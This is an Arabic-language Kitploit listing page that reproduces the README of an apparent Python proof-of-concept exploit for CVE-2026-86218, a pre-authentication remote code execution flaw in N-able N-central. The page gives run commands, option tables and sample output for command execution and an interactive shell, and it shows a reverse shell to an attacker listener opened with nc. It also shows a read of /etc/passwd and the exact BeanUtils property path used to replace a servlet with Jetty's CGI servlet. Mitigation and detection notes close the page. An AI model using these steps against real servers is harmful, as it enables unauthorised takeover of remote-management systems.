Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-86218 — استغلال إثبات مفهوم بلغة Python 3 للثغرة CVE-2026-86218، وهي تنفيذ تعليمات برمجية عن بُعد (RCE) قبل المصادقة في N-able N-central عبر حالة تسابق (race condition) في Struts متعدد الأجزاء، مع دعم تنفيذ الأوامر والصدفة العكسية. | Kitploit
أدوات/GitHubGitHub/super-meuw/cve-2026-86218
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقالفريق الأحمرأداة الوصول عن بعدتطوير الحمولات
GitHubsuper-meuw/cve-2026-86218

CVE-2026-86218

استغلال إثبات مفهوم بلغة Python 3 للثغرة CVE-2026-86218، وهي تنفيذ تعليمات برمجية عن بُعد (RCE) قبل المصادقة في N-able N-central عبر حالة تسابق (race condition) في Struts متعدد الأجزاء، مع دعم تنفيذ الأوامر والصدفة العكسية.

منذ 0 أياملم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-86218 - استغلال RCE قبل المصادقة في N-able N-central

نظرة عامة

هذا استغلال إثبات مفهوم بلغة Python 3 للثغرة CVE-2026-86218، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد قبل المصادقة في N-able N-central.

تفاصيل الثغرة:

  • CVE: CVE-2026-86218
  • درجة CVSS: 10.0 (حرجة)
  • CWE: CWE-96 (حقن التعليمات البرمجية الثابتة)
  • الإصدارات المتأثرة: N-central < 2026.3.1.14
  • ناقل الهجوم: الشبكة (بدون مصادقة)

وصف الثغرة

يستخدم N-able N-central نموذج Struts مرتبطًا بالجلسة على إجراء غير مُصادق عليه (/remoteControlAction.do). يمكن لطلبين متزامنين متعددي الأجزاء (multipart) أن يتسابقا على معالج النموذج متعدد الأجزاء ويكشفا إعدادات Jetty الحية لتعبئة خصائص Commons BeanUtils. يتيح ذلك للمهاجم:

  1. استبدال حامل servlet كسول في N-central (مثل LogRetrieval) بـ CGI servlet المضمّن في Jetty
  2. تكوين CGI servlet لتنفيذ أوامر عشوائية عبر /bin/sh -s
  3. إرسال الأوامر عبر تعيين URL الخاص بالـ servlet المستبدل

المتطلبات

root@kitploit:~
pip install requests

الاستخدام

الصيغة الأساسية

root@kitploit:~
python3 CVE-2026-86218.py -t <target_url> [options]

الخيارات

الخيارالوصف
-t, --targetعنوان URL المستهدف لـ N-central (مثال: https://192.168.1.100)
-c, --commandأمر واحد لتنفيذه
-i, --interactiveوضع الأوامر التفاعلي
--lhostعنوان IP للمستمع من أجل reverse shell
--lportمنفذ المستمع (الافتراضي: 4444)
--servletالـ servlet المراد استبداله: LogRetrieval، FileTransfer، AutomationManagerDownloadServlet
--checkالتحقق مما إذا كان الهدف عرضة للثغرة
--no-verify-sslتعطيل التحقق من شهادة SSL
--timeoutمهلة الطلب (الافتراضي: 30 ثانية)
--race-delayتأخير حالة التسابق (الافتراضي: 0.35 ثانية)
-v, --verboseتمكين الإخراج المفصّل

أمثلة

1. التحقق مما إذا كان الهدف عرضة للثغرة

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

الإخراج المتوقع:

root@kitploit:~
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

2. تنفيذ أمر واحد

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

الإخراج المتوقع:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

3. Reverse Shell

ابدأ المستمع أولاً:

root@kitploit:~
nc -lvnp 4444

شغّل الاستغلال:

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

الإخراج المتوقع:

root@kitploit:~
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

إخراج المستمع:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

4. الوضع التفاعلي

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

الجلسة التفاعلية:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

5. استخدام servlet مختلف

root@kitploit:~
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

خيارات Servlet

Servletالوصفالتأثير
LogRetrievalنقطة نهاية استرجاع السجلات (الافتراضي)الأقل تعطيلاً، تصبح السجلات غير متاحة حتى إعادة التشغيل
FileTransferنقطة نهاية نقل الملفاتيعطّل وظيفة نقل الملفات
AutomationManagerDownloadServletتنزيل مدير الأتمتةيتطلب منفذ واجهة الإدارة (8443)

كيف يعمل

مسار الاستغلال

  1. التحقق من الإصدار: استعلام /remoteControlAction.do لاستخراج الإصدار من صفحة الخطأ
  2. الحصول على الجلسة: الحصول على JSESSIONID بدون مصادقة
  3. حالة التسابق:
    • إرسال طلب متعدد الأجزاء بطيء يتوقف أثناء التحليل
    • أثناء التوقف، إرسال طلب مساعد لتثبيت المعالج على النموذج المشترك
    • استئناف الطلب البطيء مع حقول حقن خصائص BeanUtils
  4. استبدال Servlet: استبدال LogRetrieval بـ Jetty CGI servlet
  5. تنفيذ الأوامر: إرسال الأوامر عبر نقطة نهاية CGI

التفاصيل التقنية

تستغل الثغرة حالة تسابق في معالجة النماذج متعددة الأجزاء في Struts:

  • يخزّن Struts كائن نموذج واحد لكل جلسة HTTP
  • في بداية طلب متعدد الأجزاء، يزيل Struts معالج الأجزاء المتعددة من النموذج
  • يتوقف طلب بطيء بينما لا يزال Struts يقرأ الجسم
  • يكتمل طلب مساعد ويثبّت معالجه المُهيأ
  • عندما يستمر الطلب البطيء، يتبع BeanUtils أسماء الحقول المصممة عبر المعالج
  • تنتقل هذه الحقول إلى WebAppContext الخاص بـ Jetty وتستبدل حامل الـ servlet

تستخدم حقول التغيير مسارات خصائص JavaBean:

root@kitploit:~
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass

يمر هذا عبر: معالج الأجزاء المتعددة → سياق الـ servlet → محمّل الفئات → WebAppContext → معالج الـ servlet → الحامل المحدد

التخفيف

  1. الترقيع فورًا: الترقية إلى N-central 2026.3.1.14 أو أحدث
  2. تقييد الوصول: الحد من الوصول الوارد إلى وحدة تحكم N-central
  3. تقسيم الشبكة: وضع N-central خلف VPN أو قائمة IP المسموح بها
  4. مراقبة السجلات: التحقق من نشاط API المشبوه وإنشاء المستخدمين

الكشف

مؤشرات السجلات

  • طلبات غير عادية إلى /remoteControlAction.do
  • طلبات متعددة الأجزاء بأسماء حقول غير عادية
  • نشاط متعلق بـ CGI على نقاط نهاية LogRetrieval
  • إنشاء حساب مستخدم غير متوقع

مؤشرات الشبكة

  • طلبات متعددة سريعة إلى نفس نقطة النهاية
  • حمولات متعددة الأجزاء كبيرة
  • اتصالات من عناوين IP مصدر غير عادية

المراجع

  • N-able Security Advisory
  • N-able Hotfix 4 Release Notes
  • Rapid7 Metasploit Module
  • Huntress Blog Post
  • CISA KEV Catalog

إخلاء المسؤولية

يُقدَّم هذا الاستغلال لأغراض اختبار الأمان المصرّح به والأغراض التعليمية فقط. الاستخدام غير المصرّح به لهذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها غير قانوني وغير أخلاقي.

احصل دائمًا على التصريح المناسب قبل إجراء أنشطة اختبار الاختراق.

الشكر

  • اكتشاف الثغرة: N-able Security Team
  • وحدة Metasploit: sfewer-r7 (Rapid7)
  • تطوير الاستغلال: بناءً على أبحاث Rapid7 والتنبيهات العامة
تنزيل الأداة